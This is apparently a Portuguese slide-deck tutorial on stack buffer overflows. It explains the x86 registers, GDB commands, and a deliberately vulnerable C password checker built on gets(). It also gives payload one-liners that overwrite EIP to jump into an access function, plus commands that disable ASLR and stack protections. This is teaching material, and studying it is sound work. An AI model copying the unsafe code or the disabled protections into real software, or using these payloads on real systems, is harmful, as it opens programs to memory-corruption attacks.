Você está na página 1de 30

Carlos Tuma – RedTeam – Pentest - BugHunter

Em segurança computacional e programação, um transbordamento de dados ou estouro de


buffer (do inglês buffer overflow ou buffer overrun) é uma anomalia onde um programa, ao
escrever dados em um buffer, ultrapassa os limites do buffer e sobrescreve a memória
adjacente. Esse é um caso especial de violação de segurança de memória.

Estouros de buffer podem ser disparados por entradas que são projetadas para executar
código, ou alterar o modo como o programa funciona. Isso pode resultar em comportamento
errado do programa, incluindo erros de acesso à memória, resultados incorretos, parada total
do sistema, ou uma brecha num sistema de segurança. Portanto, eles são a base de muitas
vulnerabilidade de software e pode ser explorados maliciosamente.

https://pt.wikipedia.org/wiki/Transbordamento_de_dados

Carlos Tuma – Pentest


ESP, EBP e EIP são criticamente importantes para entender e executar um estouro de
buffer.

ESP: Ponteiro de pilha.

EBP: Ponteiro base.

EIP: Ponteiro de instruções.

O acesso ao EIP é a chave para o ataque de estouro de buffer. Se for acessível,


podemos então fazê-lo apontar para o nosso código malicioso.

Quando os dados são inseridos, ele entra na pilha em ordem inversa. A pilha cresce
em direção ao EBP. Se conseguirmos empurrar com sucesso mais dados para a pilha
que ele alocou, podemos possivelmente passar o EBP para o EIP (vermelho) e ter o EIP
substituído e apontar nosso código.

Então, o EIP apontará nosso código e começará a execução. Executamos um estouro de


buffer e ganhamos o controle da aplicação.
https://www.hebunilhanli.com/wonderland/bof-101/
https://sghosh2402.medium.com/understanding-exploiting-stack-based-buffer-overflows-acf9b8659cba

Carlos Tuma – Pentest


Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
O que é o GDB

O GDB (GNU Project Debugger) é uma ferramenta para:


observar um programa enquanto este executa
ver o estado no momento que a execução falha

Permite:
iniciar a execução de um programa
executar linha-a-linha
especificar pontos de paragem
imprimir valores de variáveis
Suporta C, C++, Objective-C,
Ada e Pascal (entre outras linguagens)

gdb –q nomeprograma

Carlos Tuma – Pentest


info functions
disas main

Carlos Tuma – Pentest


man strcmp

Carlos Tuma – Pentest


Carlos Tuma – Pentest
Carlos Tuma – Pentest
x/16xw $esp
#visualizar 16b em hex
formato word de esp

x/20s $eip
#visualizar 20b em formato
String registrador eip

run ou r
#execução

run < arquivo.txt


# envia arquivo para
o binário

Carlos Tuma – Pentest


run < <(python -c 'print("A" * 200 )')

#executar programa, enviando 200 * A , para executar como direcionamento


Se fosse utilizado como argumento ficaria assim: $(python -c ‘print(“A” *200)’)

Carlos Tuma – Pentest


c # continua a execução dps
dps do break point. #disassembly function

d # delete break point. disas main


disas verifica
run ou r # rodar programa

b* 0x5555555 # adciona
break point

Carlos Tuma – Pentest


Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
0x56556270
run < <(python -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')

Carlos Tuma – Pentest


Carlos Tuma – Pentest
Carlos Tuma – Pentest
set $eip = 0x56556270
set $pc = 0x56556270

Carlos Tuma – Pentest


Apertar Enter ate chegar na parte da senha

Carlos Tuma – Pentest


#include <stdio.h> acessa(){
#include <stdlib.h> printf("Bem vindo!\n");
#define password "carlostuma“ system("id");
#define password2 "123“ return 0;
}
verifica(){
char pw[128]; int main(int argc, char *argv[])
printf("Digite a senha: "); {
gets(pw); if(argc > 1){
printf("Sem argumentos!\n");
if (strcmp(pw, password2) == 0) exit(1);
printf("Senha desativada\n"); }
else if (strcmp(pw, password) == 0) verifica();
acessa(); return 0;
else }
printf("Acesso negado\n");
return 0;
}
Carlos Tuma – Pentest
A randomização do layout de endereço (ASLR) é uma técnica de segurança de computador envolvida na
prevenção da exploração de vulnerabilidades de corrupção de memória.

A fim de evitar que um invasor pule de forma confiável para, por exemplo, uma determinada função
explorada na memória, o ASLR organiza aleatoriamente as posições de espaço de endereço das
principais áreas de dados de um processo, incluindo a base do executável e as posições da pilha, pilha
e bibliotecas.

https://en.wikipedia.org/wiki/Address_space_layout_randomization

Carlos Tuma – Pentest


python -c 'import sys; sys.stdout.buffer.write(b"A"*136+b"\xed\x11\x40")'

+ 8 bits = 136

Carlos Tuma – Pentest


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

gcc code.c -o protegido

gcc –m32 code.c -o protegido

sudo apt-get install gcc-multilib

gcc -no-pie -fno-stack-protector -z execstack code.c -o protegido3


https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558

Carlos Tuma – Pentest


https://github.com/longld/peda

https://github.com/pwndbg/pwndbg

Carlos Tuma – Pentest


git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
Para não executar o peda comente a linha
nano ~/.gdbinit
#source ~/peda/peda.py

Carlos Tuma – Pentest


“Lembre-se que as
pessoas podem tirar
tudo de você, menos
o seu conhecimento.”
Albert Einstein
Agradecimentos aos amigos de grupo, especial
ao Felipe por todo apoio nas trips, para resolver
as panes e sempre nos estudos.

Obrigado!!!

Você também pode gostar